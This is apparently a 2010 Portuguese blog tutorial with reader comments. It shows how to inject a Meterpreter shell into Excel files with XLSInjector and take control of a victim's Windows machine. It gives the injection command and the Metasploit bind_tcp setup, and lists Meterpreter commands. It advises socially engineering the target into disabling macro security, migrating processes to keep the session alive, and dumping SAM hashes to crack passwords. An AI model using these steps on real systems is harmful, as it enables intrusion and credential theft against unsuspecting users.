11 de outubro de 2010

XLSInjector - Saiba como injetar um Shell Meterpreter em arquivos Excel

Nesse artigo entenderemos como é possível utilizar a ferramenta XLSInjector, juntamente com o Metasploit, para criar arquivos do Excel que carregam shellcode e conseguirmos uma conexão remota com a máquina alvo.

1 - Preparação

Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.

Nesse artigo vamos tratar do XLSInjector, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console meterpreter (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.

Para que o XLSInjector funcione adequadamente, precisamos do seguinte ambiente configurado:

Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples:


# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls


Mas nem tudo é tão simples com essa ferramenta, pois o XLSInjector NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que "confie" no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.

Supondo que já realizou as configurações necessárias para o correto funcionamento do XLSInjector, vamos acessar remotamente nossa shell meterpreter através do console do Metasploit Framework.

Iniciamos o console do Metasploit:

# ./msfconsole

Uma vez que o console MSF esteja aberto, carregamos o payload do meterpreter:

set payload windows/meterpreter/bind_tcp

Configuramos o payload corretamente, com seus parâmetros:

set RHOST ip_da_vitima
set RPOT 4444

E executamos:

exploit

Com esses passos simples temos à nossa disposição uma shell meterpreter na máquina remota. Temos que ter em mente que uma shell meterpreter é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell "?" e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:

Core Commands

Command Description
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel


Stdapi: File system Commands

Command Description
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory


Stdapi: Networking Commands

Command Description
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands

Command Description
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components


Priv: Password database Commands

Command Description
hashdump Dumps the contents of the SAM database


Priv: Timestomp Commands

Command Description
timestomp Manipulate file MACE attributes




2 - Finalização

É sempre bom ressaltar a potência e a capacidade do meterpreter para injetar dll's, fazer upload de arquivos, executar scripts e etc. Recomendo que dê uma lida no documento Metasploit's Meterpreter para saber mais sobre os comandos do meterpreter.

Recomendo também utilizar o comando "migrate" tão logo possa, ao conseguir o shell com a máquina alvo, para evitar que assim que fecharem o arquivo XLS, sua conexão também seja encerrada. Outro comando recomendado é o hashdump, que retorna o conteúdo do arquivo SAM da máquina vítima, para que posteriormente se possa obter a senha dos usuários e administradores, utilizando ferramentas como l0phtcrack ou cain&abel.

Por último, deixo abaixo o vídeo do autor da ferramenta XLSInjector, onde ensina o seu funcionamento:

2 comentários:

  1. É necessário que aja alguma vulnerabilidade, no sistema alvo, para que essa implementação do XLSInjector e Metasploit funcione?

    ResponderExcluir
  2. Tobias, precisa ter uma vulnerabilida sim: o Windows...rs.
    Brincadeira, mas é necessário ter o microsoft office instalado, com o excell. Apenas isso, pois o mesmo possui vulnerabilidades.

    ResponderExcluir